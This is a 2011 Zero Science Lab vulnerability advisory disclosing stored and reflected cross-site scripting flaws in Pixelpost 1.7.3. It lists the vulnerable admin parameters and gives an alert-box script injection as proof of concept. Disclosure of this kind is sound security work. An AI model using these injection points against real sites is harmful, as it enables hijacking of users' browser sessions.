-------------------------------------------------------------------- Pixelpost 1.7.3 Multiple Persistent Cross-Site Scripting Vulnerabilities Vendor: Pixelpost.org Product web page: http://www.pixelpost.org Affected version: 1.7.3 Summary: Pixelpost is an open-source, standards-compliant, multi-lingual, fully extensible photoblog application for the web. Anyone who has web-space that meets the requirements can download and use Pixelpost for free! Desc: Pixelpost is vulnerable to multiple cross-site scripting vulnerabilities, stored and non-persistent (reflected). Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2011-4991 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4991.php 03.02.2011 -------------------------------------------------------------------- Stored XSS: GET variable: action="><script>alert(1)</script> (http://localhost/pixelpost_v1.7.3/admin/index.php) POST variable: category="><script>alert(1)</script> (http://localhost/pixelpost_v1.7.3/admin/index.php) -------------------------------------------------------------------- -------------------------------------------------------------------- Reflected XSS: POST vars: selectfcat, selectftag, selectfmon, findfid, numimg_pp, category, id GET var: page --------------------------------------------------------------------